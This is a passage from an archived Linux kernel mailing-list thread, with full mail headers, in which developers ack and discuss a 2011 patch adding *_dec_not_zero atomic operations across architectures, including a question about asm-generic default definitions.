	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m68k@lists.linux-m68k.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
To: sven@narfation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Wed May 04 08:13:31 2011
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1QHVKz-0004dH-Iq
	for glpm-linux-m68k@lo.gmane.org; Wed, 04 May 2011 08:13:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752391Ab1EDGN2 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 4 May 2011 02:13:28 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:40411
	"EHLO sunset.davemloft.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752195Ab1EDGN2 (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 4 May 2011 02:13:28 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 7D0A024C089;
	Tue,  3 May 2011 23:12:55 -0700 (PDT)
In-Reply-To: <1304458235-28473-1-git-send-email-sven@narfation.org>
X-Mailer: Mew version 6.3 on Emacs 23.1 / Mule 6.0 (HANACHIRUSATO)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:2248 gmane.linux.kernel:1135064 gmane.linux.ports.alpha:1404 gmane.linux.ports.arm.kernel:115842 gmane.linux.hardware.blackfin.kernel.devel:5404 gmane.linux.ports.ia64:21628 gmane.linux.ports.mips.general:30894 gmane.linux.ports.parisc:3679 gmane.linux.ports.ppc64.devel:74038 gmane.linux.ports.sh.devel:10907 gmane.linux.ports.sparc:14846 gmane.linux.kernel.cross-arch:9697
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/2248>
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/2248>

From: Sven Eckelmann <sven@narfation.org>
Date: Tue,  3 May 2011 23:30:35 +0200

> Introduce an *_dec_not_zero operation.  Make this a special case of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.
> 
> Reported-by: David S. Miller <davem@davemloft.net>
> Signed-off-by: Sven Eckelmann <sven@narfation.org>

Acked-by: David S. Miller <davem@davemloft.net>

From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 09:03:12 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20110504070312.GD20828@elte.hu>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1304492635 16693 80.91.229.12 (4 May 2011 07:03:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 07:03:55 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, David Howells <dhowells@redhat.com>,
	Chris Metcalf <cmetcalf@tilera.com>, x86@kernel.org,
	linux-alpha@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m68k@lists.linux-m68k.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed May 04 09:03:47 2011
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1QHW7d-000674-BB
	for glpm-linux-m68k@lo.gmane.org; Wed, 04 May 2011 09:03:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752987Ab1EDHDn (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 4 May 2011 03:03:43 -0400
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:37794 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752574Ab1EDHDl (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 4 May 2011 03:03:41 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1QHW7D-0005sK-Eh
	from <mingo@elte.hu>; Wed, 04 May 2011 09:03:25 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 76EEA3E2510; Wed,  4 May 2011 09:03:11 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1304458235-28473-1-git-send-email-sven@narfation.org>
User-Agent: Mutt/1.5.20 (2009-08-17)
Received-SPF: neutral (mx2.mail.elte.hu: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-SpamScore: -2.0
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-2.0 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.3.1
	-2.0 BAYES_00               BODY: Bayes spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:2249 gmane.linux.kernel:1135070 gmane.linux.ports.alpha:1405 gmane.linux.ports.arm.kernel:115852 gmane.linux.hardware.blackfin.kernel.devel:5405 gmane.linux.ports.ia64:21629 gmane.linux.ports.mips.general:30895 gmane.linux.ports.parisc:3680 gmane.linux.ports.ppc64.devel:74039 gmane.linux.ports.sh.devel:10908 gmane.linux.ports.sparc:14847 gmane.linux.kernel.cross-arch:9698
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/2249>


* Sven Eckelmann <sven@narfation.org> wrote:

> Introduce an *_dec_not_zero operation.  Make this a special case of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.

>  arch/x86/include/asm/atomic.h      |    1 +
>  arch/x86/include/asm/atomic64_64.h |    1 +

Acked-by: Ingo Molnar <mingo@elte.hu>

Thanks,

	Ingo

From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David Laight" <David.Laight@ACULAB.COM>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: RE: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 09:05:53 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <AE90C24D6B3A694183C094C60CF0A2F6D8AD0D@saturn3.aculab.com>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1304496424 4544 80.91.229.12 (4 May 2011 08:07:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 08:07:04 +0000 (UTC)
Cc: <linux-arch@vger.kernel.org>, <linux-mips@linux-mips.org>,
	<linux-m32r@ml.linux-m32r.org>, <linux-ia64@vger.kernel.org>,
	<linux-parisc@vger.kernel.org>, <linux-cris-kernel@axis.com>,
	<linux-s390@vger.kernel.org>, <linux-sh@vger.kernel.org>,
	<x86@kernel.org>, "Chris Metcalf" <cmetcalf@tilera.com>,
	"David Howells" <dhowells@redhat.com>,
	<linux-m68k@lists.linux-m68k.org>, <linux-am33-list@redhat.com>,
	<linux-alpha@vger.kernel.org>, <sparclinux@vger.kernel.org>,
	<uclinux-dist-devel@blackfin.uclinux.org>,
	<linuxppc-dev@lists.ozlabs.org>,
	<linux-arm-kernel@lists.infradead.org>
To: "Sven Eckelmann" <sven@narfation.org>,
	<linux-kernel@vger.kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed May 04 10:06:56 2011
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1QHX6l-0004dA-K9
	for glpi-linux-ia64-2@lo.gmane.org; Wed, 04 May 2011 10:06:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751564Ab1EDIGy (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 4 May 2011 04:06:54 -0400
Original-Received: from mx0.aculab.com ([213.249.233.131]:36971 "HELO mx0.aculab.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751559Ab1EDIGv convert rfc822-to-8bit (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 4 May 2011 04:06:51 -0400
Original-Received: (qmail 2761 invoked from network); 4 May 2011 08:06:44 -0000
Original-Received: from localhost (127.0.0.1)
  by mx0.aculab.com with SMTP; 4 May 2011 08:06:44 -0000
Original-Received: from mx0.aculab.com ([127.0.0.1])
 by localhost (mx0.aculab.com [127.0.0.1]) (amavisd-new, port 10024) with SMTP
 id 00587-03 for <linux-ia64@vger.kernel.org>;
 Wed,  4 May 2011 09:06:43 +0100 (BST)
Original-Received: (qmail 2712 invoked by uid 599); 4 May 2011 08:06:43 -0000
Original-Received: from unknown (HELO saturn3.Aculab.com) (10.202.163.5)
    by mx0.aculab.com (qpsmtpd/0.28) with ESMTP; Wed, 04 May 2011 09:06:43 +0100
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
In-Reply-To: <1304458235-28473-1-git-send-email-sven@narfation.org>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [PATCH] atomic: add *_dec_not_zero
Thread-Index: AcwJ3EAltH6AZTKdQ3qO9QnukRcgpAAVa6Mw
X-Virus-Scanned: by iCritical at mx0.aculab.com
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21630 gmane.linux.kernel:1135091 gmane.linux.kernel.cross-arch:9699 gmane.linux.ports.mips.general:30896 gmane.linux.ports.parisc:3681 gmane.linux.ports.sh.devel:10909 gmane.linux.ports.alpha:1406 gmane.linux.ports.sparc:14848 gmane.linux.hardware.blackfin.kernel.devel:5406 gmane.linux.ports.ppc64.devel:74040 gmane.linux.ports.arm.kernel:115858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/21630>

 
> Introduce an *_dec_not_zero operation.  Make this a special case of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.

Isn't there a place where a default definition of this can be
defined? Instead of adding it separately to every architecture.

	David


--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Eckelmann <sven@narfation.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 10:21:16 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <201105041021.22082.sven@narfation.org>
References: <AE90C24D6B3A694183C094C60CF0A2F6D8AD0D@saturn3.aculab.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2868987.P04i5ibDgT";
  protocol="application/pgp-signature";
  micalg=pgp-sha512
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304497305 9569 80.91.229.12 (4 May 2011 08:21:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 08:21:45 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mips@linux-mips.org, linux-m32r@ml.linux-m32r.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-cris-kernel@axis.com, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, x86@kernel.org,
	"Chris Metcalf" <cmetcalf@tilera.com>,
	"David Howells" <dhowells@redhat.com>,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: "David Laight" <David.Laight@aculab.com>
Original-X-From: linux-sh-owner@vger.kernel.org Wed May 04 10:21:38 2011
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1QHXKz-0003nJ-FM
	for glps-linuxsh-dev@lo.gmane.org; Wed, 04 May 2011 10:21:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752370Ab1EDIVe (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 4 May 2011 04:21:34 -0400
Original-Received: from narfation.org ([79.140.41.39]:48166 "EHLO v3-1039.vlinux.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752283Ab1EDIV1 (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Wed, 4 May 2011 04:21:27 -0400
Original-Received: from sven-laptop.home.narfation.org (bathseba.informatik.tu-chemnitz.de [134.109.192.185])
	by v3-1039.vlinux.de (Postfix) with ESMTPSA id 2E300940CF;
	Wed,  4 May 2011 10:21:38 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=narfation.org; s=mail;
	t=1304497298; bh=8KC/VAUU532yNdFbGxPYeuJANlG8AfOjjawVUtjP0rs=;
	h=From:To:Subject:Date:Cc:References:In-Reply-To:MIME-Version:
	 Content-Type:Content-Transfer-Encoding:Message-Id;
	b=NsSunp2Mfpofv5VUKaQUK7rWXK3J92ip8xpFeDvZbhcyptSDVpa+doQoWFVdCUqrM
	 gscCgcXf7UIpcMmBaiE0nUxvcPMaD8/vRWL942MKxyy8XS27AAj55C0Wc4Mnl9lh9r
	 ZPv82XsaqDx+84OOvGT/o1M5WBCwKapSJgkfx0gE=
User-Agent: KMail/1.13.5 (Linux/2.6.38-2-686; KDE/4.4.5; i686; ; )
In-Reply-To: <AE90C24D6B3A694183C094C60CF0A2F6D8AD0D@saturn3.aculab.com>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:10910 gmane.linux.kernel:1135099 gmane.linux.kernel.cross-arch:9700 gmane.linux.ports.mips.general:30897 gmane.linux.ports.ia64:21631 gmane.linux.ports.parisc:3682 gmane.linux.ports.alpha:1409 gmane.linux.ports.sparc:14849 gmane.linux.hardware.blackfin.kernel.devel:5407 gmane.linux.ports.ppc64.devel:74041 gmane.linux.ports.arm.kernel:115862
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/10910>

--nextPart2868987.P04i5ibDgT
Content-Type: Text/Plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

On Wednesday 04 May 2011 10:05:53 David Laight wrote:
> > Introduce an *_dec_not_zero operation.  Make this a special case of
> > *_add_unless because batman-adv uses atomic_dec_not_zero in different
> > places like re-broadcast queue or aggregation queue management. There
> > are other non-final patches which may also want to use this macro.
>=20
> Isn't there a place where a default definition of this can be
> defined? Instead of adding it separately to every architecture.

Not that I would know about such a place - and all other atomic* macro=20
definitions also suggest that there is no such place.

Kind regards,
	Sven

--nextPart2868987.P04i5ibDgT
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAABCgAGBQJNwQx+AAoJEF2HCgfBJntGRUwQAKpZ3vas4MhN1cUHPC7peYuT
VyMmy/osbr9OqHAvxVB80ZjA8lwG2OjOeB5RbJFfHIcfdC/VLAyWF0o1i8jYBYLf
qlkDuM1jRBLK7NJSmHBoTIm+zKVjQJm1cJW1qjhWqDr+tmbeHReJxmHX7uewO6bH
98rXwt2tqdZk621b1Z6pZCbLZZODQwLTejS10FDs5rT4wZztimpXGQRSjdoc0ENP
k4TX9Y8Uwac6yLA9jlgXhHzAe0iu+x9l89x1euq6Uerkax2HB0Y6YpdH97/SfxpD
eHSIgOFN8+o6WWblKOSTbDJqz0kjdvi/Wcj5mfs2YpScxE1UbEhK04Q918TWScyG
ysiycLfHrmBl+zQ6hTGveXd96M85XNlYkSIQZR48e2vSHUycF8Busv7UUTF0xnmW
2hl1svdX6p3IXMEUtYDBX7iSlEtmDe+V8bG0Ftw1nJ4cqNn4Xbp3WUSQn1qUwo1H
FwbQfFOTkzy02nWJvYpARHgTKnztbgGvC2XKWY4AtAF2WRBxmBbUTtzau9VqACzH
5I/9X63DnNo+V/yTIKps03+CyXIys/QdrsN2NaP/iEUEwz/8wVyRT4HgdYQO1nTs
e7amjs4tEW+oduDnRsPbnczSwy0lOHkVPuwiPgEA8S+WRbU5miS56u+nLDB+y/kh
u3hzuBSc64RKiJMEccmv
=JUtM
-----END PGP SIGNATURE-----

--nextPart2868987.P04i5ibDgT--
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier.adi@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 04:33:24 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <BANLkTimctgbto3dsnJ3d3r7NggS0KF9_Sw@mail.gmail.com>
References: <1304458235-28473-1-git-send-email-sven@narfation.org> <AE90C24D6B3A694183C094C60CF0A2F6D8AD0D@saturn3.aculab.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1304498036 13511 80.91.229.12 (4 May 2011 08:33:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 08:33:56 +0000 (UTC)
Cc: Sven Eckelmann <sven@narfation.org>, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-mips@linux-mips.org,
	linux-m32r@ml.linux-m32r.org, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-cris-kernel@axis.com,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	x86@kernel.org, Chris Metcalf <cmetcalf@tilera.com>,
	David Howells <dhowells@redhat.com>,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: David Laight <David.Laight@aculab.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed May 04 10:33:49 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1QHXWn-000121-3a
	for glka-linux-arch@lo.gmane.org; Wed, 04 May 2011 10:33:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751746Ab1EDIdr convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>); Wed, 4 May 2011 04:33:47 -0400
Original-Received: from mail-gw0-f46.google.com ([74.125.83.46]:63475 "EHLO
	mail-gw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751291Ab1EDIdp convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 4 May 2011 04:33:45 -0400
Original-Received: by gwaa18 with SMTP id a18so313051gwa.19
        for <multiple recipients>; Wed, 04 May 2011 01:33:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type:content-transfer-encoding;
        bh=ZjYSQ3FUv2Mh+C2C8y6rq/DkVU0IKBkQeY8EgZl9N+E=;
        b=JmKIltEPoJoMs5Ywot7vURXXM+ZorhWQ8uB+yucxRNvkd/WAnP7MOjR+NOo76BHiy9
         +ipOg425jJhQfQr5pCXWyB4r9XRaRuk24Vyah/jrRdDmqnHbomG/2C+yYEBt7R9G0TaI
         FAQuLqzfOJ2G24RMUlqrZy8UIkGDpfXvfEHQg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        b=uanrApxMmwvwo06Bya8A+hoAytG/7rvDHGRTiJ6gM4NcPb8GrRCxxCEZVqV+NefZIh
         tMZ3nZfZ9IOygsVFM54NwGXSo2KoH5M6K3Cvb+Yamq0UsiAVit+ph/jS2/zWs5iSvWVY
         tPDc/6Npmb8IBen8P0+4SZf8JgHA179qhyxqY=
Original-Received: by 10.90.188.16 with SMTP id l16mr789544agf.88.1304498024192; Wed,
 04 May 2011 01:33:44 -0700 (PDT)
Original-Received: by 10.91.19.32 with HTTP; Wed, 4 May 2011 01:33:24 -0700 (PDT)
In-Reply-To: <AE90C24D6B3A694183C094C60CF0A2F6D8AD0D@saturn3.aculab.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:9701 gmane.linux.kernel:1135106 gmane.linux.ports.mips.general:30898 gmane.linux.ports.ia64:21632 gmane.linux.ports.parisc:3683 gmane.linux.ports.sh.devel:10911 gmane.linux.ports.alpha:1410 gmane.linux.ports.sparc:14850 gmane.linux.hardware.blackfin.kernel.devel:5408 gmane.linux.ports.ppc64.devel:74042 gmane.linux.ports.arm.kernel:115863
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/9701>

On Wed, May 4, 2011 at 04:05, David Laight wrote:
>> Introduce an *_dec_not_zero operation. =C2=A0Make this a special cas=
e of
>> *_add_unless because batman-adv uses atomic_dec_not_zero in differen=
t
>> places like re-broadcast queue or aggregation queue management. Ther=
e
>> are other non-final patches which may also want to use this macro.
>
> Isn't there a place where a default definition of this can be
> defined? Instead of adding it separately to every architecture.

that's what asm-generic is for.  if the arch isnt using it, it's
either because the arch needs to convert to it, or they're using SMP
and asm-generic doesnt yet support that for atomic.h.

for example, the Blackfin port only needed updating for the SMP case.
in the non-SMP case, we're getting the def from asm-generic/atomic.h.
-mike

From - Thu Nov 08 21:07:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 12:48:41 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20110504104841.GE16179@axis.com>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304506165 28108 80.91.229.12 (4 May 2011 10:49:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 10:49:25 +0000 (UTC)
Cc: "linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        "linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org" <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
        "linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        "linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org" <linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org>,
        "linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        linux-cris-kernel <linux-cris-kernel-VrBV9hrLPhE@public.gmane.org>,
        "linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        "linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        "linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        "linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Chris Metcalf <cmetcalf-kv+TWInifGbQT0dZR+AlfA@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        "linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
